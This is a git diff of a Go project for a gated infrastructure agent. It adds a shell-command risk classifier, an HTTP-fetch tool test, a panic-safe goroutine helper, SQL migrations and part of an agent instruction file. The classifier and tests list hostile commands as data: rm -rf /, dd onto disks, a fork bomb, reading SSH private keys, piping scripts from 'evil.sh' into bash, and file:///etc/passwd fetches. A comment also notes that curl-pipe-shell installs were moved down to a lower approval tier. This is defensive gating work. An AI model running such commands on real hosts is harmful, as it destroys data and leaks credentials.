// events to onmessage; the type is already in `data`, and new event types need
|
||||
// zero client changes. `id:` is kept for Last-Event-ID reconnection.
|
||||
func writeSSE(w ioWriter, flusher http.Flusher, ev sqlcgen.Event) bool {
|
||||
data, err := json.Marshal(sqlcEventToGen(ev))
|
||||
if err != nil {
|
||||
return true // skip un-serializable events
|
||||
}
|
||||
_, err = fmt.Fprintf(w, "id: %d\nevent: %s\ndata: %s\n\n", ev.ID, ev.Type, data)
|
||||
_, err = fmt.Fprintf(w, "id: %d\ndata: %s\n\n", ev.ID, data)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
@@ -29,6 +29,7 @@ func TestSSEStreamRealtimeDelivery(t *testing.T) {
|
||||
|
||||
// Connect to the stream.
|
||||
req, _ := http.NewRequestWithContext(ctx, "GET", srv.URL+"/api/v1/events/stream", nil)
|
||||
req.Header.Set("Authorization", "Bearer "+testAuthToken)
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
t.Fatalf("connect stream: %v", err)
|
||||
@@ -60,7 +61,10 @@ func TestSSEStreamRealtimeDelivery(t *testing.T) {
|
||||
// POSTing to the SAME live server (same DB → NOTIFY the listener sees).
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
payload, _ := json.Marshal(map[string]any{"slug": "service:sse-rt", "type": "service", "name": "sse-rt"})
|
||||
cResp, err := http.Post(srv.URL+"/api/v1/entities", "application/json", bytes.NewReader(payload))
|
||||
createReq, _ := http.NewRequestWithContext(ctx, "POST", srv.URL+"/api/v1/entities", bytes.NewReader(payload))
|
||||
createReq.Header.Set("Content-Type", "application/json")
|
||||
createReq.Header.Set("Authorization", "Bearer "+testAuthToken)
|
||||
cResp, err := http.DefaultClient.Do(createReq)
|
||||
if err != nil {
|
||||
t.Fatalf("trigger create: %v", err)
|
||||
}
|
||||
|
||||
56
internal/mcp/httpget_test.go
Normal file
56
internal/mcp/httpget_test.go
Normal file
@@ -0,0 +1,56 @@
|
||||
package mcp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||
)
|
||||
|
||||
// sprintResult extracts the concatenated text content from a tool result.
|
||||
func sprintResult(r *mcp.CallToolResult) string {
|
||||
var b strings.Builder
|
||||
for _, c := range r.Content {
|
||||
if tc, ok := c.(*mcp.TextContent); ok {
|
||||
b.WriteString(tc.Text)
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func TestSanitizeBodyStripsHTML(t *testing.T) {
|
||||
raw := `<html><head><style>.x{color:red}</style><script>alert(1)</script></head>` +
|
||||
`<body><h1>Hello & Welcome</h1><p>Deploy with docker compose up -d</p></body></html>`
|
||||
out := sanitizeBody("text/html; charset=utf-8", raw)
|
||||
if strings.Contains(out, "<script") || strings.Contains(out, "alert(1)") {
|
||||
t.Errorf("script not stripped: %q", out)
|
||||
}
|
||||
if strings.Contains(out, ".x{color:red}") {
|
||||
t.Errorf("style not stripped: %q", out)
|
||||
}
|
||||
if !strings.Contains(out, "Hello & Welcome") {
|
||||
t.Errorf("expected unescaped heading text, got: %q", out)
|
||||
}
|
||||
if !strings.Contains(out, "docker compose up -d") {
|
||||
t.Errorf("expected body text preserved, got: %q", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHTTPGetBlocksPrivateAndBadScheme(t *testing.T) {
|
||||
cases := []string{
|
||||
"http://127.0.0.1:8080/",
|
||||
"http://localhost/admin",
|
||||
"http://192.168.8.77/",
|
||||
"http://10.0.0.5/",
|
||||
"file:///etc/passwd",
|
||||
"ftp://example.com/x",
|
||||
"",
|
||||
}
|
||||
for _, c := range cases {
|
||||
out := sprintResult(httpGet(context.Background(), c))
|
||||
if !strings.Contains(strings.ToLower(out), "error") && !strings.Contains(strings.ToLower(out), "refus") {
|
||||
t.Errorf("%q: expected rejection, got %q", c, out)
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,11 +1,79 @@
|
||||
package mcp
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||
)
|
||||
|
||||
func TestAnnotateJSONResult(t *testing.T) {
|
||||
// valid JSON array → wrapped with __renderer + data
|
||||
result := textResult(`[{"slug": "host:hubris", "type": "host"}]`)
|
||||
annotated := annotateJSONResult(result, "entity_card")
|
||||
|
||||
if len(annotated.Content) != 1 {
|
||||
t.Fatalf("expected 1 content item, got %d", len(annotated.Content))
|
||||
}
|
||||
tc, ok := annotated.Content[0].(*mcp.TextContent)
|
||||
if !ok {
|
||||
t.Fatal("content is not TextContent")
|
||||
}
|
||||
|
||||
var wrapper map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(tc.Text), &wrapper); err != nil {
|
||||
t.Fatalf("result is not valid JSON: %v", err)
|
||||
}
|
||||
if wrapper["__renderer"] != "entity_card" {
|
||||
t.Errorf("__renderer = %q, want entity_card", wrapper["__renderer"])
|
||||
}
|
||||
data, ok := wrapper["data"].([]interface{})
|
||||
if !ok || len(data) != 1 {
|
||||
t.Fatal("data is not the original array")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAnnotateJSONResultNoop(t *testing.T) {
|
||||
// empty content → no-op
|
||||
result := &mcp.CallToolResult{Content: []mcp.Content{}}
|
||||
annotated := annotateJSONResult(result, "entity_card")
|
||||
if len(annotated.Content) != 0 {
|
||||
t.Fatal("empty content should be unchanged")
|
||||
}
|
||||
|
||||
// non-JSON text → no-op (not wrapped)
|
||||
result = textResult("just plain text")
|
||||
annotated = annotateJSONResult(result, "entity_card")
|
||||
tc, _ := annotated.Content[0].(*mcp.TextContent)
|
||||
if strings.Contains(tc.Text, "__renderer") {
|
||||
t.Fatal("non-JSON content should not be annotated")
|
||||
}
|
||||
|
||||
// textResult with empty string → no-op
|
||||
result = textResult("")
|
||||
annotated = annotateJSONResult(result, "entity_card")
|
||||
tc, _ = annotated.Content[0].(*mcp.TextContent)
|
||||
if tc.Text != "" {
|
||||
t.Fatal("empty text content should be unchanged")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAnnotateJSONResultPreservesMultipleRows(t *testing.T) {
|
||||
result := textResult(`[{"slug": "a"}, {"slug": "b"}, {"slug": "c"}]`)
|
||||
annotated := annotateJSONResult(result, "lxc_list")
|
||||
|
||||
tc, _ := annotated.Content[0].(*mcp.TextContent)
|
||||
var wrapper map[string]interface{}
|
||||
json.Unmarshal([]byte(tc.Text), &wrapper)
|
||||
|
||||
data := wrapper["data"].([]interface{})
|
||||
if len(data) != 3 {
|
||||
t.Fatalf("expected 3 rows in data, got %d", len(data))
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewServerRegistersTools verifies every tool registers with a valid
|
||||
// input schema. The MCP SDK panics at AddTool if a tool omits its object
|
||||
// input schema, so merely constructing the server exercises that contract —
|
||||
|
||||
171
internal/policy/command.go
Normal file
171
internal/policy/command.go
Normal file
@@ -0,0 +1,171 @@
|
||||
package policy
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Risk class names, in escalation order (index = severity). A command's final
|
||||
// risk class is the MAX of what the rules compute and what the caller
|
||||
// declared — classification can only escalate, never de-escalate, mirroring
|
||||
// the signal classifier's "policy can only lower autonomy, never raise it."
|
||||
const (
|
||||
RiskReadOnly = "read_only"
|
||||
RiskReversibleLow = "reversible_low"
|
||||
RiskConfigMutation = "config_mutation"
|
||||
RiskDestructive = "destructive"
|
||||
)
|
||||
|
||||
var riskOrder = map[string]int{
|
||||
RiskReadOnly: 0,
|
||||
RiskReversibleLow: 1,
|
||||
RiskConfigMutation: 2,
|
||||
RiskDestructive: 3,
|
||||
}
|
||||
|
||||
func riskRank(r string) int {
|
||||
if n, ok := riskOrder[r]; ok {
|
||||
return n
|
||||
}
|
||||
return riskOrder[RiskConfigMutation] // unknown declared risk: assume the safer-to-gate default
|
||||
}
|
||||
|
||||
// destructivePatterns match commands that must always be treated as
|
||||
// destructive, regardless of what the caller declares. Irreversible,
|
||||
// data-loss, or fleet-wide-impact operations. Matched against the raw
|
||||
// command text, case-insensitive.
|
||||
var destructivePatterns = []*regexp.Regexp{
|
||||
regexp.MustCompile(`(?i)\brm\s+.*-[a-zA-Z]*r[a-zA-Z]*f|\brm\s+.*-[a-zA-Z]*f[a-zA-Z]*r`), // rm -rf / rm -fr (any flag order)
|
||||
regexp.MustCompile(`(?i)\bdd\s+.*of=`),
|
||||
regexp.MustCompile(`(?i)\bmkfs(\.\w+)?\b`),
|
||||
regexp.MustCompile(`(?i)\bwipefs\b`),
|
||||
regexp.MustCompile(`(?i)\bshred\b`),
|
||||
regexp.MustCompile(`(?i)\bpct\s+destroy\b`),
|
||||
regexp.MustCompile(`(?i)\bqm\s+destroy\b`),
|
||||
regexp.MustCompile(`(?i)\bzpool\s+destroy\b`),
|
||||
regexp.MustCompile(`(?i)\blvremove\b|\bvgremove\b|\bpvremove\b`),
|
||||
regexp.MustCompile(`(?i)\bdrop\s+(table|database|schema)\b`),
|
||||
regexp.MustCompile(`(?i)\btruncate\s+table\b`),
|
||||
regexp.MustCompile(`(?i)>\s*/dev/(sd|nvme|vd|hd)`),
|
||||
regexp.MustCompile(`(?i)\bshutdown\b|\breboot\b|\bhalt\b|\bpoweroff\b`),
|
||||
regexp.MustCompile(`(?i)\bformat\b.*\b(disk|partition|volume)\b`),
|
||||
regexp.MustCompile(`:\(\)\s*\{.*:\|:.*\}\s*;\s*:`), // fork bomb
|
||||
regexp.MustCompile(`(?i)\bchmod\s+-R\s+000\b|\bchmod\s+000\s+/`),
|
||||
regexp.MustCompile(`(?i)\biptables\s+-F\b|\bufw\s+disable\b`), // wipes firewall
|
||||
// secret/credential exfiltration — reading private keys, shadow, or age
|
||||
// keys is always destructive. (Piping a remote script into a shell via
|
||||
// curl|sh was previously here too, but that pattern is common for
|
||||
// legitimate installs — get.docker.com, convenience scripts — and
|
||||
// demoting it to config_mutation means loose assent can grant it without
|
||||
// a typed confirmation. The assent window covers the deploy case.)
|
||||
regexp.MustCompile(`(?i)\bcat\s+.*(id_rsa|id_ed25519|\.pem|shadow|\.age)\b`),
|
||||
}
|
||||
|
||||
// readOnlyLeadPattern matches the leading command word (after env-var
|
||||
// prefixes and a leading sudo) against a small allowlist of verbs that are
|
||||
// safe to auto-run unattended: they inspect state and cannot mutate it.
|
||||
// Compound commands (&&, ;, |, $(), backticks) are excluded from this fast
|
||||
// path below — only a single simple command can qualify.
|
||||
var readOnlyLeadPattern = regexp.MustCompile(
|
||||
`^(cat|less|head|tail|ls|stat|file|du|df|free|uptime|uname|hostname|whoami|id|ip|ss|netstat|ping|` +
|
||||
`journalctl|dmesg|ps|top|htop|env|printenv|echo|which|whereis|` +
|
||||
`grep|egrep|fgrep|rg|wc|sort|uniq|cut|tr|tee|` +
|
||||
`dpkg\s+(-l|-s|--list|--status)\b|apt\s+(list|search|show)\b|` +
|
||||
`systemctl\s+(status|is-active|is-enabled|is-failed|list-units)|` +
|
||||
`docker\s+(ps|images|inspect|logs|version|info|stats)|` +
|
||||
`pct\s+(status|config|list)|qm\s+(status|config|list)|pvesh\s+get|` +
|
||||
`git\s+(status|log|diff|show|branch|remote)|` +
|
||||
`curl\s+-.*-I\b|curl\s+.*--head\b)\b`)
|
||||
|
||||
// compoundSplitRe splits a command on shell chaining operators (;, &&, ||, |)
|
||||
// so each segment can be individually classified. A piped or chained command
|
||||
// where EVERY segment is a recognized read-only inspection verb is safe to
|
||||
// auto-run — e.g. "systemctl status caddy; journalctl -u caddy -n 5" or
|
||||
// "docker ps | grep caddy".
|
||||
var compoundSplitRe = regexp.MustCompile(`\s*(?:&&|\|\||;|\|)\s*`)
|
||||
|
||||
// subshellRe matches command substitution ($() or backticks) that can hide
|
||||
// arbitrary execution. A command using these never qualifies for the read-only
|
||||
// fast path — the substituted content could do anything.
|
||||
var subshellRe = regexp.MustCompile("\\$\\(|`")
|
||||
|
||||
// compoundOpPattern is retained for compatibility — matches any compound
|
||||
// operator. (Previously used to block ALL compound commands from the read-only
|
||||
// path; now the per-segment check is more precise.)
|
||||
var compoundOpPattern = regexp.MustCompile("[;&|`]|\\$\\(")
|
||||
|
||||
// ClassifyCommand scores an arbitrary shell command for the general `run`
|
||||
// primitive. It combines a rule-based verdict (destructive denylist first,
|
||||
// then a read-only allowlist for simple inspection commands) with the
|
||||
// caller's declared risk, and returns the more severe of the two — the
|
||||
// classifier may only escalate, never de-escalate, so a model that
|
||||
// under-declares risk (or an adversarial prompt) cannot talk its way past a
|
||||
// genuinely dangerous command. Anything not matched by either rule defaults
|
||||
// to config_mutation (escalate), per "when in doubt, escalate."
|
||||
func ClassifyCommand(command, declaredRisk string) string {
|
||||
computed := computeCommandRisk(command)
|
||||
if declaredRisk == "" {
|
||||
return computed // no declaration to escalate with; computed's own escalate-by-default already applies
|
||||
}
|
||||
declared := normalizeRisk(declaredRisk)
|
||||
if riskRank(declared) > riskRank(computed) {
|
||||
return declared
|
||||
}
|
||||
return computed
|
||||
}
|
||||
|
||||
func normalizeRisk(r string) string {
|
||||
if _, ok := riskOrder[r]; ok {
|
||||
return r
|
||||
}
|
||||
return RiskConfigMutation
|
||||
}
|
||||
|
||||
func computeCommandRisk(command string) string {
|
||||
cmd := strings.TrimSpace(command)
|
||||
if cmd == "" {
|
||||
return RiskConfigMutation
|
||||
}
|
||||
|
||||
for _, p := range destructivePatterns {
|
||||
if p.MatchString(cmd) {
|
||||
return RiskDestructive
|
||||
}
|
||||
}
|
||||
|
||||
// Subshell substitution ($(), backticks) can hide arbitrary execution —
|
||||
// never auto-run, even if the visible verbs look read-only.
|
||||
if !subshellRe.MatchString(cmd) {
|
||||
if allSegmentsReadOnly(cmd) {
|
||||
return RiskReadOnly
|
||||
}
|
||||
}
|
||||
|
||||
// Not obviously destructive, not a recognized read-only inspection —
|
||||
// default to the gated tier rather than guessing it's safe.
|
||||
return RiskConfigMutation
|
||||
}
|
||||
|
||||
// allSegmentsReadOnly splits a compound command on chaining operators
|
||||
// (;, &&, ||, |) and checks whether EVERY segment is a recognized read-only
|
||||
// inspection verb. If so, the whole command is safe to auto-run. Any segment
|
||||
// that isn't a recognized read-only verb disqualifies the whole command —
|
||||
// the classifier errs toward gating, not guessing.
|
||||
func allSegmentsReadOnly(cmd string) bool {
|
||||
segments := compoundSplitRe.Split(cmd, -1)
|
||||
for _, seg := range segments {
|
||||
seg = strings.TrimSpace(seg)
|
||||
if seg == "" {
|
||||
continue
|
||||
}
|
||||
// Strip a leading sudo/env assignment so "sudo cat /x" still matches.
|
||||
probe := seg
|
||||
probe = regexp.MustCompile(`^sudo\s+`).ReplaceAllString(probe, "")
|
||||
probe = regexp.MustCompile(`^(\w+=\S+\s+)+`).ReplaceAllString(probe, "")
|
||||
probe = strings.TrimSpace(probe)
|
||||
if !readOnlyLeadPattern.MatchString(probe) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return len(segments) > 0
|
||||
}
|
||||
142
internal/policy/command_test.go
Normal file
142
internal/policy/command_test.go
Normal file
@@ -0,0 +1,142 @@
|
||||
package policy
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestClassifyCommand_ReadOnly(t *testing.T) {
|
||||
cases := []string{
|
||||
"cat /etc/hostname",
|
||||
"systemctl status caddy",
|
||||
"docker ps",
|
||||
"docker logs caddy",
|
||||
"pct status 121",
|
||||
"pct config 121",
|
||||
"journalctl -u caddy -n 50",
|
||||
"df -h",
|
||||
"git status",
|
||||
"sudo cat /var/log/syslog",
|
||||
"ip a",
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := ClassifyCommand(c, ""); got != RiskReadOnly {
|
||||
t.Errorf("ClassifyCommand(%q) = %q, want read_only", c, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestClassifyCommand_Destructive_AlwaysWins(t *testing.T) {
|
||||
cases := []string{
|
||||
"rm -rf /",
|
||||
"rm -fr /opt/data",
|
||||
"dd if=/dev/zero of=/dev/sda",
|
||||
"mkfs.ext4 /dev/sdb1",
|
||||
"wipefs -a /dev/sdb",
|
||||
"pct destroy 121",
|
||||
"qm destroy 100",
|
||||
"zpool destroy tank",
|
||||
"lvremove /dev/pve/data",
|
||||
"DROP TABLE entities;",
|
||||
"drop database oikos",
|
||||
"echo hi > /dev/sda",
|
||||
"reboot",
|
||||
"shutdown -h now",
|
||||
"cat ~/.ssh/id_ed25519",
|
||||
"iptables -F",
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := ClassifyCommand(c, ""); got != RiskDestructive {
|
||||
t.Errorf("ClassifyCommand(%q) = %q, want destructive", c, got)
|
||||
}
|
||||
// Even if the caller/model declares it as safe, destructive must win —
|
||||
// classification only escalates, never de-escalates.
|
||||
if got := ClassifyCommand(c, RiskReadOnly); got != RiskDestructive {
|
||||
t.Errorf("ClassifyCommand(%q, declared=read_only) = %q, want destructive (cannot be de-escalated)", c, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestClassifyCommand_CurlPipeSh_ConfigMutation(t *testing.T) {
|
||||
// curl|sh and wget|sh are no longer classified as destructive — they're
|
||||
// common for legitimate installs (get.docker.com, convenience scripts).
|
||||
// They're still gated (config_mutation, requires approval), but loose
|
||||
// assent grants them without a typed confirmation phrase.
|
||||
cases := []string{
|
||||
"curl -fsSL https://get.docker.com | sh",
|
||||
"curl http://evil.sh/x.sh | bash",
|
||||
"wget -qO- http://evil.sh/x.sh | sudo bash",
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := ClassifyCommand(c, ""); got != RiskConfigMutation {
|
||||
t.Errorf("ClassifyCommand(%q) = %q, want config_mutation", c, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestClassifyCommand_DefaultEscalatesToConfigMutation(t *testing.T) {
|
||||
cases := []string{
|
||||
"apt-get install -y nginx",
|
||||
"systemctl restart caddy",
|
||||
"pct exec 121 -- bash -c 'echo hi'",
|
||||
"sed -i 's/foo/bar/' /etc/caddy/Caddyfile",
|
||||
"git push origin main",
|
||||
"docker compose up -d",
|
||||
"some-unknown-tool --do-a-thing",
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := ClassifyCommand(c, ""); got != RiskConfigMutation {
|
||||
t.Errorf("ClassifyCommand(%q) = %q, want config_mutation (default escalate)", c, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestClassifyCommand_CompoundReadOnly(t *testing.T) {
|
||||
// Compound commands where EVERY segment is a read-only inspection verb
|
||||
// should be classified as read_only.
|
||||
cases := []string{
|
||||
"systemctl status caddy; systemctl is-active caddy",
|
||||
"docker ps; docker images",
|
||||
"df -h && free -m",
|
||||
"cat /etc/hostname; uptime; whoami",
|
||||
"docker ps | grep caddy",
|
||||
"systemctl status caddy 2>&1; journalctl -u caddy -n 5 --no-pager",
|
||||
"sudo systemctl status caddy; sudo journalctl -u caddy -n 5",
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := ClassifyCommand(c, ""); got != RiskReadOnly {
|
||||
t.Errorf("ClassifyCommand(%q) = %q, want read_only (all segments are read-only)", c, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestClassifyCommand_CompoundCommandNeverReadOnly(t *testing.T) {
|
||||
// A compound with even one non-read-only segment must not be read_only.
|
||||
cases := []string{
|
||||
"ls; systemctl restart caddy",
|
||||
"echo $(rm -rf /tmp)",
|
||||
"docker ps | xargs docker rm",
|
||||
"systemctl status caddy; apt-get install -y nginx",
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := ClassifyCommand(c, ""); got == RiskReadOnly {
|
||||
t.Errorf("ClassifyCommand(%q) = %q, want a gated tier for a compound command", c, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestClassifyCommand_DeclaredRiskCanOnlyEscalate(t *testing.T) {
|
||||
// A benign read-only command with a higher declared risk keeps the
|
||||
// declared (higher) risk — declaring caution is always honored.
|
||||
if got := ClassifyCommand("cat /etc/hostname", RiskDestructive); got != RiskDestructive {
|
||||
t.Errorf("declared destructive on a read-only command should stick, got %q", got)
|
||||
}
|
||||
// A config-mutation-by-default command declared as read_only is NOT
|
||||
// downgraded — computed risk wins when it's higher than declared.
|
||||
if got := ClassifyCommand("systemctl restart caddy", RiskReadOnly); got != RiskConfigMutation {
|
||||
t.Errorf("declared read_only must not de-escalate a mutating command, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClassifyCommand_EmptyCommand(t *testing.T) {
|
||||
if got := ClassifyCommand("", ""); got != RiskConfigMutation {
|
||||
t.Errorf("empty command should default to config_mutation (escalate), got %q", got)
|
||||
}
|
||||
}
|
||||
35
internal/safego/safego.go
Normal file
35
internal/safego/safego.go
Normal file
@@ -0,0 +1,35 @@
|
||||
// Package safego provides a goroutine launcher that recovers panics instead
|
||||
// of letting them crash the whole process.
|
||||
//
|
||||
// Go's default behavior for a panic in ANY goroutine — not just the one
|
||||
// serving an HTTP request, which net/http recovers automatically per
|
||||
// request — is to take down the entire process. This codebase runs several
|
||||
// long-lived or unattended background goroutines (the nomos auto-
|
||||
// continuation worker, resumed chat turns, async execution dispatch, the SSE
|
||||
// event listener) that do real work — JSON parsing of model/tool output,
|
||||
// map/slice indexing — with no operator watching. Before this package, a
|
||||
// single edge case in any of them (a malformed tool result, an unexpected
|
||||
// nil) would crash nomos or the api process outright, taking down every
|
||||
// concurrently-running task or request, not just the one that hit it.
|
||||
package safego
|
||||
|
||||
import (
|
||||
"log/slog"
|
||||
"runtime/debug"
|
||||
)
|
||||
|
||||
// Go runs fn in a new goroutine. A panic inside fn is recovered and logged
|
||||
// (with a stack trace) instead of crashing the process. label identifies the
|
||||
// goroutine in logs — use something a reader can trace back to the call
|
||||
// site, e.g. "nomos:continuation-worker" or "mcp:executeApprovedViaAPI".
|
||||
func Go(label string, fn func()) {
|
||||
go func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
slog.Error("panic recovered in background goroutine",
|
||||
"goroutine", label, "panic", r, "stack", string(debug.Stack()))
|
||||
}
|
||||
}()
|
||||
fn()
|
||||
}()
|
||||
}
|
||||
39
internal/safego/safego_test.go
Normal file
39
internal/safego/safego_test.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package safego
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// TestGo_RecoversPanic is the concrete proof for the B1 fix in
|
||||
// plans/2026-07-11-nomos-agent-code-review.md: a panic inside a goroutine
|
||||
// launched via Go must not crash the process (or, here, the test binary —
|
||||
// the same guarantee). Before this package existed, every background
|
||||
// goroutine in cmd/nomos/internal/mcp/internal/httpapi used a bare `go`
|
||||
// statement; an unhandled panic in any of them takes down the entire Go
|
||||
// process, not just that goroutine.
|
||||
func TestGo_RecoversPanic(t *testing.T) {
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(1)
|
||||
|
||||
Go("test:deliberate-panic", func() {
|
||||
defer wg.Done()
|
||||
panic("this must be recovered, not crash the test binary")
|
||||
})
|
||||
|
||||
// If the panic weren't recovered, the whole test binary would crash
|
||||
// before ever reaching this line (a Go panic in any goroutine terminates
|
||||
// the process, full stop) — Wait() returning normally IS the proof.
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
// TestGo_RunsFnNormally confirms the non-panic path still just runs fn.
|
||||
func TestGo_RunsFnNormally(t *testing.T) {
|
||||
done := make(chan bool, 1)
|
||||
Go("test:normal", func() {
|
||||
done <- true
|
||||
})
|
||||
if !<-done {
|
||||
t.Fatal("fn did not run")
|
||||
}
|
||||
}
|
||||
25
migrations/017_nomos_plan_executions.up.sql
Normal file
25
migrations/017_nomos_plan_executions.up.sql
Normal file
@@ -0,0 +1,25 @@
|
||||
-- 017_nomos_plan_executions.up.sql
|
||||
-- Links a gated execution back to the chat session that initiated it, so the
|
||||
-- Nomos auto-continuation worker can re-invoke the agent for that session when
|
||||
-- the (asynchronous) execution finishes. This is the "the system is the event
|
||||
-- loop, not the human" foundation: the human no longer types "continue" after
|
||||
-- every async step — the worker feeds each execution's result back into the
|
||||
-- agent automatically.
|
||||
--
|
||||
-- Owned by the nomos process. execution_id references the execution entity by
|
||||
-- UUID but intentionally without a hard FK — nomos records the link from the
|
||||
-- tool-result text it gets back, and we don't want a race between the API
|
||||
-- creating the execution entity and nomos linking it to break the insert.
|
||||
CREATE TABLE IF NOT EXISTS nomos_plan_executions (
|
||||
execution_id UUID PRIMARY KEY,
|
||||
session_id UUID NOT NULL,
|
||||
-- when the worker fed this execution's result back to the agent (NULL = not yet)
|
||||
continued_at TIMESTAMPTZ,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
|
||||
-- Worker query: find terminal executions not yet fed back. Partial index on the
|
||||
-- not-yet-continued rows keeps the poll cheap as history accumulates.
|
||||
CREATE INDEX IF NOT EXISTS idx_nomos_plan_exec_pending
|
||||
ON nomos_plan_executions (created_at)
|
||||
WHERE continued_at IS NULL;
|
||||
53
migrations/018_tasks.up.sql
Normal file
53
migrations/018_tasks.up.sql
Normal file
@@ -0,0 +1,53 @@
|
||||
-- 018_tasks.up.sql
|
||||
-- Elevate a chat session into a "task": a goal-structured unit of work with a
|
||||
-- lifecycle status, an outcome, and a one-line summary — the first-class object
|
||||
-- the task board and the live context panel render. See
|
||||
-- plans/2026-07-11-goal-oriented-chat-control-panel.md.
|
||||
--
|
||||
-- entity_id links the session to its OWN entity (type 'task', registered in
|
||||
-- seeds/ontology.yaml) so knowledge notes and involved-entity edges hang off
|
||||
-- the existing relationships graph unchanged — get_relations and
|
||||
-- get_entity_knowledge just work. Intentionally no hard FK (mirrors 017's
|
||||
-- decoupling): a race between task-entity creation and the session insert must
|
||||
-- not be able to break the session.
|
||||
|
||||
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS goal TEXT NOT NULL DEFAULT '';
|
||||
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS status TEXT NOT NULL DEFAULT 'active';
|
||||
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS outcome TEXT;
|
||||
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS summary TEXT NOT NULL DEFAULT '';
|
||||
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS entity_id UUID;
|
||||
|
||||
-- Ordered plan steps. A step is a described unit of work that maps to a
|
||||
-- run/request_execution call (no fixed step enum, per general-gated-execution).
|
||||
-- execution_id is the gated action a step runs, if any; its terminal status
|
||||
-- auto-closes the step server-side.
|
||||
CREATE TABLE IF NOT EXISTS session_plan_steps (
|
||||
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
session_id UUID NOT NULL REFERENCES agent_sessions(id) ON DELETE CASCADE,
|
||||
seq INT NOT NULL,
|
||||
title TEXT NOT NULL,
|
||||
detail TEXT NOT NULL DEFAULT '',
|
||||
status TEXT NOT NULL DEFAULT 'pending',
|
||||
-- pending | running | done | failed | skipped | blocked
|
||||
execution_id UUID,
|
||||
target_slug TEXT,
|
||||
started_at TIMESTAMPTZ,
|
||||
finished_at TIMESTAMPTZ,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_plan_steps_session ON session_plan_steps(session_id, seq);
|
||||
|
||||
-- Structured decisions the agent surfaces to the operator mid-task. context
|
||||
-- carries { entities:[], options:[], why:"" } for the pinned question card.
|
||||
CREATE TABLE IF NOT EXISTS session_questions (
|
||||
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
session_id UUID NOT NULL REFERENCES agent_sessions(id) ON DELETE CASCADE,
|
||||
prompt TEXT NOT NULL,
|
||||
context JSONB NOT NULL DEFAULT '{}',
|
||||
status TEXT NOT NULL DEFAULT 'open', -- open | answered | dismissed
|
||||
answer TEXT,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
answered_at TIMESTAMPTZ
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_questions_session_open
|
||||
ON session_questions(session_id) WHERE status = 'open';
|
||||
10
migrations/019_task_completion_nudges.up.sql
Normal file
10
migrations/019_task_completion_nudges.up.sql
Normal file
@@ -0,0 +1,10 @@
|
||||
-- 019_task_completion_nudges.up.sql
|
||||
-- See plans/2026-07-11-task-completion-safety-net.md (fix 2+3): a
|
||||
-- goal-bearing session (set_goal was called, so it's a real structured
|
||||
-- task, not the trivial-Q&A case handled by the inline safety net) can
|
||||
-- still stall without ever calling complete_task. completion_nudges tracks
|
||||
-- how many times the idle sweep has already nudged a stalled session, so it
|
||||
-- can tell "never nudged" (nudge it) from "nudged once already, still
|
||||
-- stuck" (auto-close it) rather than nudging forever.
|
||||
|
||||
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS completion_nudges INT NOT NULL DEFAULT 0;
|
||||
294
nomos/SOUL.md
294
nomos/SOUL.md
@@ -14,34 +14,306 @@ the human-facing wiki. When they disagree, the DB wins.
|
||||
| Tool | Route |
|
||||
|---|---|
|
||||
| Read state | MCP tools (query DB directly) |
|
||||
| Request action | `request_execution` MCP tool (routes through policy gating) |
|
||||
| Escalate | Matrix notification to operator |
|
||||
| Do ANYTHING | `run` MCP tool — arbitrary shell against any host or LXC, gated by risk (see below) |
|
||||
| Escalate | operator approval in chat (assent or button), or Matrix notification |
|
||||
| Self-inspect | `get_agent_activity` MCP tool |
|
||||
|
||||
You have **no SSH access**. All mutations flow through `/executions`, which
|
||||
